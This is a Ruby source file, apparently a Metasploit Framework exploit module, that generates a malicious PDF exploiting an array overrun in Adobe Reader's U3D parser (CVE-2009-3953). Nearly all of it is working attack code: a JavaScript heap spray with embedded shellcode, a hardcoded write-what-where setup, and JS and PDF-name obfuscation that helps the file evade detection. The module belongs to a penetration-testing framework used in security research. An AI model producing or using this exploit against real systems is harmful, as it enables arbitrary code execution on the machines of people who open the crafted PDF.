495 lines
14 KiB
Ruby
495 lines
14 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'zlib'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',
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'Description' => %q{
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This module exploits an array overflow in Adobe Reader and Adobe Acrobat.
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Affected versions include < 7.1.4, < 8.2, and < 9.3. By creating a
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specially crafted pdf that a contains malformed U3D data, an attacker may
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be able to execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',
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'jduck'
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],
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'References' =>
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[
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[ 'CVE', '2009-3953' ],
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[ 'OSVDB', '61690' ],
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[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-02.html' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'DisablePayloadHandler' => 'true',
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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'DisableNops' => true
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# test results (on Windows XP SP3)
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# reader 7.0.5 - untested
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# reader 7.0.8 - untested
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# reader 7.0.9 - untested
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# reader 7.1.0 - untested
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# reader 7.1.1 - untested
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# reader 8.0.0 - untested
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# reader 8.1.2 - works
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# reader 8.1.3 - not working :-/
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# reader 8.1.4 - untested
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# reader 8.1.5 - untested
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# reader 8.1.6 - untested
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# reader 9.0.0 - untested
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# reader 9.1.0 - works
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[ 'Adobe Reader Windows Universal (JS Heap Spray)',
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{
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'Size' => (6500/20),
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'DataAddr' => 0x09011020,
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'WriteAddr' => 0x7c49fb34,
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}
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],
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],
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'DisclosureDate' => 'Oct 13 2009',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),
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], self.class)
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end
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def exploit
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# Encode the shellcode.
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Make some nops
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nops = Rex::Text.to_unescape(make_nops(4))
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=begin
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Original notes on heap technique used in this exploit:
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## PREPAREHOLES:
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## We will construct 6500*20 bytes long chunks starting like this
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## |0 |6 |8 |C |24 |size
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## |00000... |0100|20100190|0000... | ......pad...... |
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## \ \
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## \ \ -Pointer: to controlled data
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## \ -Flag: must be 1
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## -Adobe will handle this ragged structure if the Flag is on.
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## -Adobe will get 'what to write where' from the memory pointed
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## by our supplied Pointer.
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##
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## then allocate a bunch of those ..
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## .. | chunk | chunk | chunk | chunck | chunk | chunck | chunck | ..
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## |XXXXXXX|XXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXXX|
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##
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## and then free some of them...
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## .. | chunk | free | chunk | free | chunk | free | chunck | ..
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## |XXXXXXX| |XXXXXXX| |XXXXXXX| |XXXXXXXX|
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##
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## This way controlling when the next 6500*20 malloc will be
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## followed with. We freed more than one hole so it became tolerant
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## to some degree of malloc/free trace noise.
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## Note the 6500 is arbitrary it should be a fairly unused chunk size
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## not big enough to cause a different type of allocation.
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## Also as we don't need to reference it from anywhere we don't care
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## where this hole layout is placed in memory.
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## PREPAREMEMORY:
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## In the next technique we make a big-chunk of 0x10000 bytes
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## repeating a 0x1000 bytes long mini-chunk of controled data.
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## Big-chunks are always allocated aligned to 0x1000. And if we
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## allocate a fair amount of big-chuncks (XPSPx) we'll be confident
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## Any 0x1000 aligned 0x1000 bytes from 0x09000000 to 0x0a000000
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## will have our mini chunk
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##
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## A mini-chunk will have this look
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##
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## |0 |10 |54 |? |0xff0 |0x1000
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## |00000... | POINTERS | nops | shellcode | pad |
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##
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## So we control what is in 0x09XXXXXX. shellcode will be at 0x09XXX054+
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## But we use 0x09011064.
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## POINTERS looks like this:
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## ...
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=end
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# prepare the hole
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daddr = target['DataAddr']
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hole_data = [0,0,1,daddr].pack('VvvV')
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#padding
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hole_data << "\x00" * 24
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hole = Rex::Text.to_unescape(hole_data)
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# prepare ptrs
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ptrs_data = [0].pack('V')
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#where to write
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ptrs_data << [target['WriteAddr'] / 4].pack('V')
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#must be greater tan 5 and less than x for getting us where we want
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ptrs_data << [6].pack('V')
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#what to write
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ptrs_data << [(daddr+0x10)].pack('V')
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#autopointer for print magic(tm)
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ptrs_data << [(daddr+0x14)].pack('V')
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#function pointers for print magic(tm)
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#pointing to our shellcode
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ptrs_data << [(daddr+0x44)].pack('V') * 12
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ptrs = Rex::Text.to_unescape(ptrs_data)
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js_doc = <<-EOF
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function prepareHoles(slide_size)
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{
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var size = 1000;
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var xarr = new Array(size);
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var hole = unescape("#{hole}");
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var pad = unescape("%u5858");
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while (pad.length <= slide_size/2 - hole.length)
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pad += pad;
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for (loop1=0; loop1 < size; loop1+=1)
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{
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ident = ""+loop1;
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xarr[loop1]=hole + pad.substring(0,slide_size/2-hole.length);
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}
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for (loop2=0;loop2<100;loop2++)
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{
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for (loop1=size/2; loop1 < size-2; loop1+=2)
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{
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xarr[loop1]=null;
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xarr[loop1]=pad.substring(0,0x10000/2 )+"A";
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xarr[loop1]=null;
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}
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}
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return xarr;
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}
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function prepareMemory(size)
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{
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var mini_slide_size = 0x1000;
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var slide_size = 0x100000;
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var xarr = new Array(size);
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var pad = unescape("%ucccc");
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while (pad.length <= 32 )
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pad += pad;
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var nops = unescape("#{nops}");
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while (nops.length <= mini_slide_size/2 - nops.length)
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nops += nops;
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var shellcode = unescape("#{shellcode}");
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var pointers = unescape("#{ptrs}");
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var chunk = nops.substring(0,32/2) + pointers +
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nops.substring(0,mini_slide_size/2-pointers.length - shellcode.length - 32) +
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shellcode + pad.substring(0,32/2);
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chunk=chunk.substring(0,mini_slide_size/2);
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while (chunk.length <= slide_size/2)
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chunk += chunk;
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for (loop1=0; loop1 < size; loop1+=1)
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{
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ident = ""+loop1;
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xarr[loop1]=chunk.substring(16,slide_size/2 -32-ident.length)+ident;
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}
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return xarr;
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}
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var mem = prepareMemory(200);
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var holes = prepareHoles(6500);
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this.pageNum = 1;
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EOF
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js_pg1 = %Q|this.print({bUI:true, bSilent:false, bShrinkToFit:false});|
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# Obfuscate it up a bit
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js_doc = obfuscate_js(js_doc,
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'Symbols' => {
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'Variables' => %W{ slide_size size hole pad mini_slide_size nops shellcode pointers chunk mem holes xarr loop1 loop2 ident },
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'Methods' => %W{ prepareMemory prepareHoles }
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}).to_s
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# create the u3d stuff
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u3d = make_u3d_stream(target['Size'], rand_text_alpha(rand(28)+4))
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# Create the pdf
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pdf = make_pdf(u3d, js_doc, js_pg1)
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print_status("Creating '#{datastore['FILENAME']}' file...")
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file_create(pdf)
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end
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def obfuscate_js(javascript, opts)
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js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)
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js.obfuscate
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return js
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end
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def RandomNonASCIIString(count)
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result = ""
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count.times do
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result << (rand(128) + 128).chr
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end
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result
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end
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def ioDef(id)
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"%d 0 obj\n" % id
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end
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def ioRef(id)
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"%d 0 R" % id
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end
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#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
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def nObfu(str)
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result = ""
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str.scan(/./u) do |c|
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if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
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result << "#%x" % c.unpack("C*")[0]
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else
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result << c
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end
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end
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result
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end
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def ASCIIHexWhitespaceEncode(str)
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result = ""
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whitespace = ""
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str.each_byte do |b|
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result << whitespace << "%02x" % b
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whitespace = " " * (rand(3) + 1)
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end
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result << ">"
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end
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def u3d_pad(str, char="\x00")
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ret = ""
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if (str.length % 4) > 0
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ret << char * (4 - (str.length % 4))
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end
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return ret
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end
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def make_u3d_stream(size, meshname)
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# build the U3D header
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hdr_data = [1,0].pack('n*') # version info
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hdr_data << [0,0x24,31337,0,0x6a].pack('VVVVV')
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hdr = "U3D\x00"
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hdr << [hdr_data.length,0].pack('VV')
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hdr << hdr_data
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# mesh declaration
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decl_data = [meshname.length].pack('v')
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decl_data << meshname
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decl_data << [0].pack('V') # chain idx
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# max mesh desc
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decl_data << [0].pack('V') # mesh attrs
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decl_data << [1].pack('V') # face count
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decl_data << [size].pack('V') # position count
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decl_data << [4].pack('V') # normal count
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decl_data << [0].pack('V') # diffuse color count
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decl_data << [0].pack('V') # specular color count
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decl_data << [0].pack('V') # texture coord count
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decl_data << [1].pack('V') # shading count
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# shading desc
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decl_data << [0].pack('V') # shading attr
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decl_data << [0].pack('V') # texture layer count
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decl_data << [0].pack('V') # texture coord dimensions
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# no textore coords (original shading ids)
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decl_data << [size+2].pack('V') # minimum resolution
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decl_data << [size+3].pack('V') # final maximum resolution (needs to be bigger than the minimum)
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# quality factors
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decl_data << [0x12c].pack('V') # position quality factor
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decl_data << [0x12c].pack('V') # normal quality factor
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decl_data << [0x12c].pack('V') # texture coord quality factor
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# inverse quantiziation
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decl_data << [0].pack('V') # position inverse quant
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decl_data << [0].pack('V') # normal inverse quant
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decl_data << [0].pack('V') # texture coord inverse quant
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decl_data << [0].pack('V') # diffuse color inverse quant
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decl_data << [0].pack('V') # specular color inverse quant
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# resource params
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decl_data << [0].pack('V') # normal crease param
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decl_data << [0].pack('V') # normal update param
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decl_data << [0].pack('V') # normal tolerance param
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# skeleton description
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decl_data << [0].pack('V') # bone count
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# padding
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decl_pad = u3d_pad(decl_data)
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mesh_decl = [0xffffff31,decl_data.length,0].pack('VVV')
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mesh_decl << decl_data
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mesh_decl << decl_pad
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# build the modifier chain
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chain_data = [meshname.length].pack('v')
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chain_data << meshname
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chain_data << [1].pack('V') # type (model resource)
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chain_data << [0].pack('V') # attributes (no bounding info)
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chain_data << u3d_pad(chain_data)
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chain_data << [1].pack('V') # number of modifiers
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chain_data << mesh_decl
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modifier_chain = [0xffffff14,chain_data.length,0].pack('VVV')
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modifier_chain << chain_data
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# mesh continuation
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cont_data = [meshname.length].pack('v')
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cont_data << meshname
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cont_data << [0].pack('V') # chain idx
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cont_data << [0].pack('V') # start resolution
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cont_data << [0].pack('V') # end resolution
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# no resolution update, unknown data follows
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cont_data << [0].pack('V')
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cont_data << [1].pack('V') * 10
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mesh_cont = [0xffffff3c,cont_data.length,0].pack('VVV')
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mesh_cont << cont_data
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mesh_cont << u3d_pad(cont_data)
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data = hdr
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data << modifier_chain
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data << mesh_cont
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# patch the length
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data[24,4] = [data.length].pack('V')
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return data
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end
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def make_pdf(u3d_stream, js_doc, js_pg1)
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xref = []
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eol = "\x0a"
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obj_end = "" << eol << "endobj" << eol
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# the header
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pdf = "%PDF-1.7" << eol
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# filename/comment
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pdf << "%" << RandomNonASCIIString(4) << eol
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# js stream (doc open action js)
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xref << pdf.length
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compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_doc))
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pdf << ioDef(1) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
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pdf << "stream" << eol
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pdf << compressed << eol
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pdf << "endstream" << eol
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pdf << obj_end
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# js stream 2 (page 1 annot js)
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xref << pdf.length
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compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js_pg1))
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pdf << ioDef(2) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol
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pdf << "stream" << eol
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pdf << compressed << eol
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pdf << "endstream" << eol
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pdf << obj_end
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# catalog
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xref << pdf.length
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pdf << ioDef(3) << nObfu("<</Type/Catalog/Outlines ") << ioRef(4)
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pdf << nObfu("/Pages ") << ioRef(5)
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pdf << nObfu("/OpenAction ") << ioRef(8) << nObfu(">>")
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pdf << obj_end
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# outline
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xref << pdf.length
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pdf << ioDef(4) << nObfu("<</Type/Outlines/Count 0>>")
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pdf << obj_end
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# pages/kids
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xref << pdf.length
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pdf << ioDef(5) << nObfu("<</Type/Pages/Count 2/Kids [")
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pdf << ioRef(10) << " " # empty page
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pdf << ioRef(11) # u3d page
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pdf << nObfu("]>>")
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pdf << obj_end
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# u3d stream
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xref << pdf.length
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pdf << ioDef(6) << nObfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol
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pdf << "stream" << eol
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pdf << u3d_stream << eol
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pdf << "endstream"
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pdf << obj_end
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# u3d annotation object
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xref << pdf.length
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pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype")
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pdf << "/3D/3DA <</A/PO/DIS/I>>"
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pdf << nObfu("/Rect [0 0 640 480]/3DD ") << ioRef(6) << nObfu("/F 7>>")
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pdf << obj_end
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# js dict (open action js)
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xref << pdf.length
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pdf << ioDef(8) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(1) + ">>" << obj_end
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# js dict (page 1 annot js)
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xref << pdf.length
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pdf << ioDef(9) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(2) + ">>" << obj_end
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# page 0 (empty)
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xref << pdf.length
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pdf << ioDef(10) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")
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pdf << nObfu(" >>")
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pdf << obj_end
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# page 1 (u3d/print)
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xref << pdf.length
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pdf << ioDef(11) << nObfu("<</Type/Page/Parent ") << ioRef(5) << nObfu("/MediaBox [0 0 640 480]")
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pdf << nObfu("/Annots [") << ioRef(7) << nObfu("]")
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pdf << nObfu("/AA << /O ") << ioRef(9) << nObfu(">>")
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pdf << nObfu(">>")
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pdf << obj_end
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# xrefs
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xrefPosition = pdf.length
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pdf << "xref" << eol
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pdf << "0 %d" % (xref.length + 1) << eol
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pdf << "0000000000 65535 f" << eol
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xref.each do |index|
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pdf << "%010d 00000 n" % index << eol
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end
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# trailer
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pdf << "trailer" << eol
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pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(3) << ">>" << eol
|
|
pdf << "startxref" << eol
|
|
pdf << xrefPosition.to_s() << eol
|
|
pdf << "%%EOF" << eol
|
|
|
|
end
|
|
|
|
end
|